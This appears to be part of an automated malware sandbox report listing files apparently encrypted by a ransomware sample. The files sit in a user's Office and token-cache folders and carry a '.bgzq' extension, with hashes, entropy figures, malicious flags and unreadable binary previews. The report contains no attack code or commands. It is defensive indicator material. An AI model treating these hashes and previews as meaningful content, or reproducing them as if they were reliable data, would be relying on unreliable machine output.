MD5:	C7233C6EFE0E9045C43D11B7045CE6F4
SHA1:	308D4D5743CB211319F168606AEEF61B2ED0A0CA
SHA-256:	84F5039EDFC1735DDA09DEF644E71026B45129AB26C1AE5720072871F96BA0A0
SHA-512:	0A2B4485C6DE4B0518970DAFA98E6A4C2028D9110E492D694828610FF7C50CC1BBCA91CED5ABF3FD1A9E00D908D2152CD626828B481CFA1C7F59ACA09009EAFB
Malicious:	false
Preview:	<Rule.FJ...Y..a.Gk6O@?e}.Xh.I.p_.z.s...6.:Cu...m..R..7...uX.....R.....0......m..E\..@...m.f...dl...9.]`...a...#..-.dw..../...f..y.x...d.h6.:?.\.R.Yds..qh.77.M.h.uS......_.L......K.k.'j.E.J.\..iO0$J..Kb..7.....-^.@..WHN8.k6..]v...w......e.'D.K.:.(..X...KJ.....iX.ts.O..%<..J/..........F f.aa....A.na..v3m."...J..l.{dQ6a.....+cn.8..y. ..+Z.\|..d...Q?xt................!...2....s.t.)..m....x.A.F.3w..H..g..+.\#CUD....?..b.u.......i.[......./..(.........q.Np....&....&.3..4.....a....m.3..41......:.f.d.J...f".QG......N.@..&..v"........$K#...n...z;..y..Y.c.....)..\....".....[./u..b`...P?`.f.....J...$....F.....E...P....s.I.?C...Gk.#c(".`1'....T.....8.../.[V`}.{.3.$......._.V.Y_....'..e..:.Mz.... jj+..6a....L.N.t.0...<C.........L.<.=.l.......2.S.<Tn..AFQ..f.P..=0.X..\g......<$..!.l >5...._.HMZ{b..<.;..h....E.c&.1..`.(.......$Wj...j...+.-.._..fD\|...I....(j.^.o?...s.......$..$...X...V."6g.DO.....P...........Y.@.\|....K.......h.....U9.E....2.w.M......

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998550216592516
Encrypted:	true
SSDEEP:	3072:/gZz3HJCte0ilB9j/c6faIw44amaGY0izkpGo:IZz3HJI5ifN/RfaIwdFaGY0ekwo
MD5:	13A4E7485761628C412E8AF9806FB15D
SHA1:	9103DDBA9C7346824DEBDD0AE15DFC3058651D8D
SHA-256:	13B18A63983160E1CBB9A79806526891CA7CF5D6205D97B626996AC3B534CC79
SHA-512:	88D6B67E2DE17996F5735C7F726B2F8A434C872D1CD4A05403FFD2A37EBFF4E29D059FC03767A739723034A33BB02A83FA49E76DC3C866A127D869F1280F516A
Malicious:	true
Preview:	<?xml...\N.....~......pB...~.......QB.#...).....m.(......#`.idpAaq...b.(:n&......{.~.....D?....V..3H.+.......(.\.9^w.-..G&.s...:...26kE8.g.-9.......#....Way<d..wV..e..V...M....M..T./..Z\2..K.4.b.@.r.N....g....It.+....&.3.....%.>+..\|.d.7..XX..`....k...:......N....,.n.z.......G-0...{..O2...n.cj<n.....M...6'....o.-...f.1......6.].....#.9c......s'=........3*.\J.B.~./,."m...............h..r0...y.W....x.}..B./...$......"...(.t...".PR.EE..7...UGj.Z..Y/k.^..%........V!.....6.=..S..teP..O.E M6X..&]P.B...t.-8..h.o.N.(....#.+:...h.].X..h...`.9........'!N....,..H...on...C\|.s.....c.n2...b&.j..,.,U{.<.(9.~.K?..P..=".q.er.!..\Mr.$'..3....M...!Q.B.=.C!..(....y:......"......Y?..-.....j...\^G7.."y...NM......O&.......=.B.@._.=.....pO.^....2.,.w. ..c..Fj...JR.S............c.E.wq.......z..h..B.k..5......6}.......F..He......$..w"..g&7......c...?.8..s..+..@..y..Q>....+...b9.g.P#W.'Gb..h.......mW<.6..L....x.+..}G....(a5f..(..P.....;....pp.0..`..Y.\|......

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.824465353774778
Encrypted:	false
SSDEEP:	24:Y/WDL3dVerTfkTR8eM7relsBDlG0+izSo+xQ5+yyFTW+cVbD:YeP3dVeXfkTRy76l0l5+ib+xQ5+yKW+k
MD5:	7720D9C481A3834090EE462E597E3AC1
SHA1:	0475A26E8288F02A95240045E6AB160F4939A161
SHA-256:	2B80CD7ACD4E55C22B2CA3DA2BDA4F01945BCBB84ADF1676A13BCD69B2205798
SHA-512:	F17D09E27305288B18345DE719F75FCBD2948CD326BDFAB81C134C85103F32F3E2D71F76AD935A30D3F57EBA01DC659A7E9E4E2B36A39430E47721E4AF5A382C
Malicious:	false
Preview:	1.1.9e..@...OI...{cE@..5......Z...P%.=.2.d-43..Zc.8Js.?.z>...C.iK.TKY.`8..3......f..b#...;...s.{!...cu2..!.(k6.n..h...<..9.c4......&........Y.z.$.K...Kz..&......y(../...).h.>.y.P,g~.[.a307....3...........v....x.G.....cc..,.G.....]....3.^=.ePp.......,.......b..2.p\|..#..$...T..?..>$.I.\|......,... p^w..".PC.._._.5.;.>..H'.....e.^.Xz.....Ja..3....Q.10U.%J=..}.<Hr.+........+..%..,aG.J...(-CL.Q..K{/..=.2.Uum......<...........->6M..4#s.1.c.M..m#....F.6.a.a..c(......K.T.%P....k.....KM.\e...9.z....R@.....S@.....Y...W...Dl)F...J...K..;.l....3.c$].Fb....l6/..^;..._k.....\|...:..(.Y.+..3Fr...e...U.\|..a..s...f.6M.e....3.K.Q'..ly.7.D.;<.P...c+.G&.L...A...5.?.....\..^.;.2e.<..e...h.]/...R...M7.._.-.E..)...$E..N...m.\..<+.N...L`s...N-b....C...'/qCn.c#Ly...Y.'...u/...P..J\..."..L.....F...C...9.......\.P~...W..._...e...=.I=...W..oGJ.e...ju.....g3....u.....n.A.n\;...._h=..LJ.tER.)}7.......jj.&`.<WQ.mEICP.>...]HMY...F.kk..8..$O.dX..:...L;x..Fd.....n...f3..z$)

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.8212102982981
Encrypted:	false
SSDEEP:	24:t/Mxu3qtlt8+FiKrVHlXJckG64k46GlnKHHY9aDdiTrkzxrzjcVbD:t/MCYlt8OrVHlXykpGaY9A8rQxrzQFD
MD5:	B1C0379B9133EDE227E366B5CA08F483
SHA1:	96C4085D3E1CE946154DECEC9C0C447EA76292E3
SHA-256:	94C119DFCDD43470157006F0B3D9F171B1C5CBD41C7503EF777D870AB5FBC9CB
SHA-512:	24A360F6175164A8FB095827846EE403918BB86D69BB1EA09DED84A2AA51D8C3636D4913681EFEF98D233777213CEFA3CD7A53495A944D1EB444C6CB2F79F4B5
Malicious:	false
Preview:	1.1.9.`..7.........Z.${.....RD...MR/..4(e.].............C.<..Nlz....O_s.....7.m.}..0.%.ej]..AS.s.......4:.r.1..q..s.V(.w:T....J..?=....w.O.Q.M.11../q;....-X...K}<".~M..d....[..b..=..biF..U.._v.f.`....h.".E....J.[o;.../.V...S....Q..\|.{........P$..9O..a...[.. ...k.i....}.$#k.{.y.1.Tq.V.W....J..t...Y...<..,/.......6...>B.`......~+.f......s......9..\|4..RQ>.K#..X=.+h.jp...k....JI.Hl4.7sv.c....6....=..?$.'L..0."..D.&:ST....Q.....2$..kA@...-..T.....,.Wc.....p.......p.L.,~yE.....>..=\|?...U.L...[.-?..0..`.@D...A.......N...u.h...f........S.Tk4.:..A..<$....;....kj.'...,48.&.:.\|....1.].F.7b.[s.-...mg..Y....;P....U..{..5.jo.u..Z...W.".vC...NL%5.$u+.YPgz.k.....=.+..q.\Y.....UH.WL`.=1..,..Wni..jS........Yb.....!.d....e.l.9t..sg.,..v..k..D.O..jU..*..b....\+.Q......@.4u...yf.FP$r..D.z...#...j1{sx..p.L...`.m0.........'.a.hT..M...Zz../]9...1.oU..\|Q...0...4.....Lh..!.......j..P../......y..<D...>G.Z9..].....\|fz..;@......1l.i....\"oHt.......

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.9957386066156655
Encrypted:	true
SSDEEP:	768:UDL74UABVMyHt3jXJ4YoZ44vDbswdAYMSnTLY4ue0rAHwUkPJpZzF9e8:CL6BVMy5bJ4LVfswdAYMSTLYNNew3PJH
MD5:	005CFDE0420ED7FAC07E161B9AAB2CA3
SHA1:	CB592753AE1F5B9F92AA9C2335FB4EC1CC20138E
SHA-256:	DA113B45DB99123055BB2E3D20B6FB1B92B4808FFAED7F8E3A452A5AB77708F2
SHA-512:	A810E1363873A0FCD75C963B3247F61A8041709A17F3EBF089D4752A9EBCDFA929F428A590768B8D4B69EAF96B305C359C71CF54745EBAFF7EB628DFC029E013
Malicious:	true
Preview:	SQLit.9_..N?u;..N...O~..}....T#.bD...M...(.<.u.Mb...m..<.q.E'J...A^.6Zj.....a.r!..7(8...b...<.pL1.........t...#.m.C.S.g.~..\....^\|..c.hj'y..O!.p=&........].&).<l,............+..p.?8Y..;.k.+..P..=.....s.......S. .1...u."3..$L.K.......J.fA.u.61...7...QA.mP.u..E...=.8F...wi........Q.."yV....O.YXf...g.!zR.vj.....pC(.-..j.>$f...@.ve$.q}.$..\|..B.ly...0.={.$1.k.....x.I...=n.6%Z....b....a6k7.......X..K.G.S.5.....q.w[9...D6,.;j.......a.......K....n.Tc...R..60.+.X..~.~lw.F..eP..lD.CM.}.Q...M.w.s..>....f.].)..U`.).4E..)L@..V...3^:A...T...1`.rndP.L.r."...S..o.6.yp...x....e......)...s6....D...w.H...J.l..z_GS..}c........&.pbQY.I.Dg....;.M...P..s...#..."{...,}2_.?.N.Y.(g.~l-?......+WQx.ot>.....0.......Fd..9....d......27j.5.u....7.q.)'.0.++..%..E.[+@....".`..h..b.R._..F.c=zb.hK....T~.#T.Uz..T!...@w..eR..q......8aUv}.....x..u....S.)%.....D:.X.s..R....E....31d...Eg..1.{:...N....=yde1.XhvA_*..m=.....$<=./........_.K.....u~...........c......)}..?{.d{..aH.Yl.

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.991428194948921
Encrypted:	true
SSDEEP:	384:Vu201y5oonO+YxQqXXqz1S8IHJ7U4Qkz6zPbYFQ/dJKEpDKV4O:Q2Ey5oH80E1S8mekwMIdJjpmWO
MD5:	6A08F860157D94784F5A8D14A6DC7DC7
SHA1:	7781F03739D72024B9BB880F9C971BB3A670002B
SHA-256:	9395C3F4B13621118797697D474BD94534132106987C6620369F422D7F3724BF
SHA-512:	39F477CDD486782CD60BB6898000B54610614446913BD8542D9329087B33A5648FA85F3BC8C6FCD2724E31AB28D8CFCEF8169A5AE3D052494A627EE615A23D73
Malicious:	true
Preview:	SQLit..V....?..s......S.jf. h.......A.)./;..Q....~...]...p.C.......e.V..sx....b.o..E.....[.:...'.oQ..A.b..R.\|...IT&..2~......!&..C.2f.m.,...t.b.2...<.jD&?..Rv}..LHvrc.s.x...;...2R..../........O..0.qb...E}..........8..'.u.A......Hf...J....&...T..\}..-..`!...,.\|7....4a@.Xy..=../9....mKA....E2].....!k.17...3}\|=..e#lw.#...3O.......O...6.Nf}..c@...'....z..4.A-v..../.x.-. ..#.x0G..B.Up.(p._.gM@Mdr.>.P../.\.^.<c.pai..........C.sqx.I.R..6....'.:..~=...~"V..7....z....pK8y...;ym..=....3...N..>q..<K...8U..$.x:&.E+.N..5..H.\.J..n.O.=..r@/.{.,jb..:.`.!.w.c...A....?%..... ..1.4".2..y....B.Z.@+.QwD.......N....A..,\|\|]..w.i.)z.....-S..a.8,aL..1.gVj...5.c.s.\.h..@.......c.=....g...C._.>.C.P...2.o.G\..\.Gy.......!7...\.....g.q..U..=.M..3..J[rp..~.N...02^./d.X...2..n..4.2...a.L...I^..K....t.QH..G....h..0.q)q\F<Xk9..?...K......s....=......n).n.F.....Q}B..[F...`hj3.-.%.Tu]-X...m...d.6V.x?+.;H...4....].K..V.?x...Q....L.k..X.J_...I.8....9).V}..*^...>y..$..j....

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99275523764275
Encrypted:	true
SSDEEP:	384:ca/Xbl4bmr5IVjslmycD1SSr3KXtx4cKSNd+OMwTw9JOofvPT5WdrBVAwFMlY:ca/BrsliXtxvKSNdYOldrBYy
MD5:	E0A23879B87106DBFFE6B38365A1E5B4
SHA1:	6779CEB654B0CFDB8EAB2E8C434EDC1B0370F72A
SHA-256:	57A0A3E7E456E2FE5EA6CC92CB8BEAC0DC2C1D93BC7AEEEBC8EF9B5822672A47
SHA-512:	8C0932C37E68D76C1A5122A57C94C6F2BB6B71E13899253A42829C0A8CB56E050EFCCE023597B69B0D3E066CCA280DAD13E28859918C3633A99351CB8317DCDA
Malicious:	true
Preview:	SQLit........S.?2Tx[ i".@..2,Y3.....`>...e:u7E......./A.D..L..F..u...[1f...NC...........l.D....T....r...=c..,Y[.1.....%...2.Eb...aq....Y1.a.XUWV................%..qa.cOAc"..!A@?...'...`.G..-;<.^...R)......m?. .%.D..y.#e..`B_...cw..o.#e0.e.2...S......!t....L~....&.K.og..{.a.u..{.EZk..^.._]...YRJD.I.3.......pu..9..F..vI......;..4._.@~x._.mw+7.!.Z9..3g@.....d.1.../%.$.-......k.\X.<.w.q....!B.......G{...oA9`:.I.._.V.8.3ar.(d.?.G........qN...;-.aWv....[... f.5...$..t~?Q%.2..X...t.3.5.."Y~....un.Q.sk....;K.'.S.{ZP....x.....x.9...P.).].O^K........%?..fi.....\|U.\|......:...2/..xP......RW.......\S...q..-c.)v.....>q.....IB-}.6..skA...`.\|).......;......m.I...S....B....'.f......_#$fo....i.. ./.........+$H..2..!B..oS.\'.....,.....I..A.[.u_..QS.....n.?...6r...............u.G.o.ospq.....Q..._.UQ!i\|.....v.e6@..O"(.."..v...s[.....[D.4.wI.>p.)..c2....+.CwD_.bm.P...$....P....n.0N.._.%d.....ym.^.....g....,./..Cj.59.l.A.#!U(.XI..6#.R.m...]...".....7.&

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993740011643368
Encrypted:	true
SSDEEP:	384:va/aO+Qh5jLN6IDSAPMyQCXfsmFlhb1Kh4LhCd+g3V+sWMbI/sZi0bn9e+qSdFDl:6bDj0IDS+Jf1790Ig3Msk0bn9eqDlD
MD5:	4AE18509D161DCE069FBC7D4E29964A7
SHA1:	A54E1E272B8EF5F89C7092FD85E84FEE1408C69F
SHA-256:	D0B0D7710E3D29A2BBD450700B9074B5FA115CF2CC1852F5E978ACF93EF5322A
SHA-512:	362A3A876A7FE4591E79F7F703BCEFB331AF033497B7078241C3C0B145FCFC304608FF4C068E07438FD1BD891AE4390294B006450C02F1DF6F82C79B44F3E85C
Malicious:	true
Preview:	SQLit....F.+2]..C".?}.TPo.>4...R/.40..j......(.!...r..._.D...........n.>U...^G...WXb<...g...Ts.7Z.:./R........4.k..E.5......_g.u_W.....1&..8...+.T...xa...e..:....R.4.:UAEn;..pJs..Y.7g77El\..Y\.}...TTl....b.W..[.~..a....\|Y."./O?I!.{+..+s.....p9.+.`......S.7......#"J...$.hNB....\|.d.....mf.........".[.\..\..:.b[1.;...Q..i.i.Ag:......c<..Z.TSj......).<....j..},1A,..bE.`e..+.n..b;.AQ..:.9d..JF.h.....svD......)>..)3>.l.FD..$._z.ch.u..."Kx../'.5v....a..nu.C^f.....$3.v...C.....VC'..[.HNM\.@...Ch.^u..2..2#9..%?..L...XRL..o\W.?\..'....E.]h .P6..v..'a..Gk..Q.\|.....}.r.[...\.......\|..s..j6.a.[.?......S..j....~[..D..6.<..\.g.5....".../.iy.0.jb.a0.ww..%.R..w.... .e...x.'..:.7u....2.?....t....i...!T..!.i..&)..#y.~...(...x.....pd...~r0.c{W.$..3.X.sC.v.`l..\...0s.yn..E+e.tZ...`...Ta.x...C....`k....U.;. )...RU..Y...,}.KFy.q..........[..~...k.6.T...l...............n....J.8....p.D.j.....Wx.ij...:...W.{.._.(!.p..-!.......J].(.J.=0.!...3.Z..?..&V.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993018888144913
Encrypted:	true
SSDEEP:	384:65cQY8yREKTP7oZTi038xx2LhOPtbeN/TGDIu5SmyA2b:wxYHWiK8xxwONFD2Jb
MD5:	0E9D585F18A9C761E1E1F9CB2171FC18
SHA1:	729E1957722845F283103441E09C4042C104B20D
SHA-256:	49F79B6E587BD74A7E312C5CB8B04B15427E03C933F955D7804A7494D30533D9
SHA-512:	9A71DE337BFB367EBC7BAD4640138928402173E629256704BB6D3DF3F0E326FB7D9687F355FA0948C772828683D991E5E685732B844AEA0E78174BE4B9A38347
Malicious:	true
Preview:	SQLitL.I3...x.vgV0...b..YL....)>.w..%@.4T..0..:.]@9..<..;...QQH1x;:M....5........s="...2J.#...,F....!.N.[..T.d]8.bM..(.Z..62..\...._..^.>...T...S.A.....o..[..1c.7/..L6..\|.MD....Aa...%J.U.....<.^I....N...\|.NE..g@..R2......d.?>5O.bi....o\L..i.N..v.........G......?tW..ipL.C.........6...%_.....R..\|...l.A.=o....\.;=d....'.$i.=......,.X..>,.Y.3..0.7k.']..%y...KI..7o.Xw.a.F.......>%..~.y...l....... ...'z.rB..{.\|^p.X.f-G@f.(.....<.&...W..l[...lOT..oM....r.RqL..Q.}..cC...[!z.....:.uf..A u.M.!.......^..B.~.k...,....@..g....u.i....Km6....jb.....iJ.z.y.}@..,s..i....zP.Q.u:. .z...j..6.[Q...0.....-p9.O!.s...U....Z]@.f1.X...XP..o&s.0.$..^..yC.Z.CJ...m8y..6ir....Q&....r...a7..5i!......'tC.......Db1..z0x5.Cg.RDo..yH.r.Ur.{W..2.v.;.~.:.N........ejD.......T....(..+.XU...P.6.T,.?..i.B."..(..g.....H4..o.--.Q.dz=.:w..E K.1...u4..u.;......7........l.`. UZ.2...%"..A.-A........"Y+.0jd.g......W$L&mV......W#zl.g.U...[..e..eI.&.pS.>.....m.hI..@..E....^.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.927940815996392
Encrypted:	false
SSDEEP:	48:M5RC+QdS0f8p5aLdVstzcMCr3N8PlrYa11LEcDthpoz8Q41lO/kHFD:aRCM0f8PIdq1cQPlhXnQHcH9
MD5:	C2B1C5B0635544F6A7027FCB2ABEF9DC
SHA1:	81202610F72FC039627850853319F6FE4C105930
SHA-256:	65D6D832B6C83EBB8184F71DD20627777D32E579491A0E9E725B35AEF68F52A5
SHA-512:	122A32067D9914F1068DA28E9787EAE6CEBC09E9A6444C1ECC913272CAD21196D2C674D47A63765ED557E4E113BEDE09E196B43D8D93B4305BBED4E0D5201C13
Malicious:	false
Preview:	{.".T....4.Lb.}\|..........'..A....)SI'.V^.v%...=PF..o.b.......>{.R.(...&...u....nQ....._.....U......V.O.hn...H&b...\....k....`.Z...j].(.`/....:[.xKO......J.......4c...K"@l. .53.8..(..].....?\|{".h../.6.".?/.h6..s.x..=.y...vm.e.Pl....J.0.%x1..<.az:..L.(.%g.......w.>.V.F..iye...._....M..:......X..r...9n....!:......e{$. ..z\|...Xe..j_. #Z..u-..."w#c.qy........C.#.#VU'k...=.@R.&Y.3.."...)........9..........j.1.5....B...h:>.\|.mY..}..!CI.n%....gm..v...o.f.C......LHa\|.n....<..9....bT.X...s.h....-.5.."h;..X.ZU.(4~ .)A..`.:F..9...-.{d7.Uz...+.\....[f.....R..8x... .%Na...n...5.h......!yk./.8...Ws.D.....q\23...a......l..\|c..T..0.I1.....?..y.].".D.....g.....ee.HQ."K.fAu..!.#..CY......iZ._)....lS.q);...0Q..jd....L./.YB.v[-../Cl.{.f.JpYo.\<..24.Z......u..O...<.....7PI.@.....^f.3Ul..z,.. MjQ..r..."..1....L-&rrk..}.;$6..Oi.Y...X...C..N\4.......}...y.`.I..-R..I...Z..q8..B...).?.J.AxixA ....{.Gd..Z......?1?....K.f"....d\|.h.T..?.-.$.=.F....9..T1.x{.6..\..Q...

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.941428010922796
Encrypted:	false
SSDEEP:	48:A8y9Cgum/rOwpAIKwoG/LemSmi7pSX0SetmX/QlY9ta2k8d/MHa+w//mqBZoNUD5:u9l1/rOEogoJtSpSVKta2vbA8WJHsKqv
MD5:	BA3059FDD04C607C28B5CA6BCF9610DF
SHA1:	8FD3443DCBB30DC64F72C056947E25480AF9AC61
SHA-256:	979E5C6B6E3373E2BA3E7D5A9F6BE7F9909D94047798509CAF969E02F010B71D
SHA-512:	3B25AB3A2817DCD34283FA89BEF06A44D93531AF89A8A8CBFBA99B6EDEDB43BD3D1C626116953196FC14E81B4DD75CD3239D4DEACB4F63E7C22CA28B136C1866
Malicious:	false
Preview:	{.".T.l5....v.'._...h.$T....z#.....v5..}.......7...+..p.@.S?.D.,wt.Z.V..l...NH#.Y6...v....n...'Q.>.u7sO.ND.N'1.K..k6..?...V.s...c.........w.E..v$;.y..D.ZP..J..T'.t3..'.Ae...\h.......%...M.d.g...E......[..b...cb.g.Z.M.N...........N..).M....M.+..E.v..bN@.:...aq....Q.r......^...t.,...f..V........}.......7.`......GIS..gt.5.L&..o...;....;..._pS...D...n\|F...yd.....@./....W/..'.fdi.1..@.v.&:d.T.L.$.y...,..\|...1P...%J\|7.q.B........K)-...-&P..f$...b.!A=b....n.....[.... M.XD....p.[..^.%...w9.;\|."-r0.).....{9X.c.H..^`...G..G..[.Q..E[..[e.Q.8(...A..f.n.._?..Y..c...I..>..q`..i`...l.0T....E....y..A...NqhV...p..k.V..F.nO..t=~.Z.....H..6.?......l...f..%N.Q...b..x..Q#}..........%p.....TM[t.[..]..YtmO;P.m.....4d....d.W...5y..+D0..S.z..P.N....q..&..I.@0.`..J.dl....'...#`Eh...=Kh.;.:{...&.....b..$t.O.eb.;.l.t.\|...q6.'.g.?..k.A.pD.H.4...)..hM.. .].JZ...j.].ks.. .M_.....`...k.K..h....H.X.,.@h.k..4X.ZJ....?./.'.d.&.....0.$/gJ...X...$...+.B....1....d.....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.963218941048107
Encrypted:	false
SSDEEP:	96:ewnmPvchHPcNrFT46GizmuSoMn7ptbJm7mtHWJx+lKDh8gSdaeyYW/9:ewocxC4+SWG7bIMWus8dqv
MD5:	B02256DAAD7217C58CF6CC6A81578852
SHA1:	2E212EA8AF6288D5CE1CD9406162629D27528842
SHA-256:	48A43465CD4DD10F0589AF89EF02B0E31CB3369E8C21FACDEB53F8937BCB1866
SHA-512:	8971BDE05887895DFCFC5946148EDB6082A4CCC51CF55BE087669C75F7656EC336B85EB310017F1524FCEB5AC50BE62419FE7E9DD33699809B75CD8BD1241873
Malicious:	false
Preview:	{.".T#bV.\|Q.[/S]......h!.>S}N........Eh\|.v..Z...8....$.i\|8........r.j)T.c../.\|.pDs.....\].7...!.:...'..g.J.>.....D.)"8...ya.D.4...\|.........\|..9Z!F..J-.m.Y..r.a..1G.1.z.=..`U.O..\|a......F'b.(.5..n..4H%8]....v3.z....$..H7.e..70......Cr..:..&.)}..M...9...q.c....B..\|.\|.,..#..Fc.F..!.mm1.%..Ye.}4.8H. F..\|.....;..).o.p.......;.^T{m~..[....l....)...k...o.,.M..Q.)..9.. ...U`.<&....em~.RRw9=Z%@.......9.>.....V.....'.j9A..4...[..h.O.$.^O{...~.Q...4^..C5...\|X#\.Q.B&..x..&.......6.H..Q.p.u.Z....oG.+./....5tU..?...+#P]H......L2....6.:!.....R.\./(.@..3I./......v?.:~Q&..3..$.l:.6M....] .:..}...sQ8.M.8x.:.m.1Z...L{.7...P.+.(Xg.}...r8...C(.+..;.......O.l0(j.f7.Q.`.U.z.j.e....a7.~..bE\4l..'.CI#\..H.fY.....?.^#>m[..._.c_O.......x..l.LQ.eS1o..J....3Ht.....<.~G..Cw,...((5...;....i...[.b..d.....-...[...e......}..A.(....6D.P..D..P~6$...#.^_..(.Ow.(j...7....b..b.U.d.3....K.B.>.).........G_...\|.E7y0^P.b...Zd'.]....@.K*T6.g.....".9"}.o.H. .-..\|.%..R.4..i.\|?.R...u

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.932566663157114
Encrypted:	false
SSDEEP:	48:w6smafv60u1sBzp/7C+LT53H7x2WCqPBPsQDkTYfuZujPlBV5rGT84C15PDdI5Lu:wwmJm+J8APBPTDks1Ii5PDdsy9
MD5:	3646674DEB75353CF764146652DCEF02
SHA1:	2E8F6090ADF92D27DB2D7A3DF8CD8C5D47E8FA68
SHA-256:	B23F84BB6FAE31696B444EF60BD18E769225F8BE19D707704CD87BBDFB92A2C8
SHA-512:	DABCB217947F1EF3E4C2712C590C66E35C3A24EBE83365D51AD41D84FA3995D974F760AEB4B8AC07C137EBE6DF1FB20D60CFBBE0D66C244AB4F0AB4F4857E2F6
Malicious:	false
Preview:	{.".T'.....).J<......./....t.i.H....g..I,..P.y..SBH.x.G=.D.!(.g..s.......m.\.:...U..].q..K.<$.f0.%).@....e..I{.T....8#........o...@7.z.^@....O.N..-.[....2..oL...].t..c.d.1?..~..xf.3,.u.I.g{.0{.;.G2-.{.j.U..{a..i..5....bl.o.D.\|.O.!b....Z..29.nE...2s.P..D...ls.. .H....f.I..B.......~K...v._.x.UD...........[.0.d]...a2.s4...R..$.DN....-...<..H.....&.N..............ut..Z;..R...6.[b..[.D^m. ..x...9%.V.{..";..aX. ....=bo.F.p..g.>oya.7.w.{o....%8...1A.-.}j. -.i.T\|d.,.0..o...)... .L...fZ....{4...J..@&.;.?......5.gF.3.V=3N.z...tQbqS./...+..^'OJ..[z...W.P.$...u.`....U.,.I.+."..k=....K..B'...K.K........5.r....M...TP......a.7.sr\.1.......[......Y&....0..%....q.q%.:@..^...q.IU...e@.....q...&w...^G9\.h1f..` b8.w!.k.\|.d\\|B.r........,mV.l@R.O..;..".qnR.7...sY.>.'&.et%`..'........}22....r)b.Y....M...fM.\|...+.N........m.X.}.....G...G..D...n>..........I...Y.c...-..j...24X..C...\|Tf.w.H..O...!.....85..6...7.`.6.....d..z...c.Oo!gP..@.'..]......9#)

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.921370470442688
Encrypted:	false
SSDEEP:	48:MIlILJe9KCrXob1DAlcSDnsJXXvmN4PLW7ktaG3rBa9uUw4xE0jdmFD:BKYKCbWxAlcSLavBjW7tG3dAwOE0jk9
MD5:	9AFE7998510B3860B39F9DF3EFF09E2A
SHA1:	F793EA53BBA2FEF779007DC1A4AF94159520F891
SHA-256:	CA037CEB5CFACD6B01F720A9D490550A809F3D4963469C75C59D8D2A55E41AFF
SHA-512:	3A56972A6867D460EC46C88968F0C8AC720F58E866C1F5C0D16E3D8C09C9CCB3E2AEE341DD7C7C8F32A34AE29F6EF0853A1D91AD76BD66B38ED1D3D500D245FD
Malicious:	false
Preview:	{.".T..S-^....k..GJD....&,N.]2.T...;'...6.7.p.$...L<...kk.X..~....`.=S/.v..l.2......-UT6.>.y/.ST....$....NN.......`.l..S......Q.?2.X[......o.m..q.4.I.}.<Gz../].6KN.t.I/..`..CC6.A..kj.X.....:kP)d.p..%^.JO.[.w.2.8....I.9...q......x.MZ3:..g$b.Im..B.......l........".....F../.....>..$Za.h.j[..@l......7..s..4.....!.!...g.+-..zk.=.......!:..vs...7.R......#Z...IU.w.C...}....6.....j........s.h.j.[..^.K..xs.Ic..se..R.L..9...=m..... CB..C. .W.[.WBM+..@o.... .&>b.e...[I0..1A..Z`...2e...,..T..S)......P.B:.v..}W.....d.?..6B.^..:t..6...`....8.t"...?....h!...A.0..U....p.]].[.......}.`..(>.\|Ax.....T.......3..a....,.& ... AjvtN....F.m.\..@8.T.....J=..b..F.t...CO.g,..3a'...i..qKY.#%..{8E.......N......q..a......,.. fY..~..^...<].$...B..{-%.`?.Q.V5..P...y.6g.g-.(........../..f..e.........]..w.Sd..\|....y.........K........^.J....N.(.......J6.7j.."D...L.Y/.qb_[..; 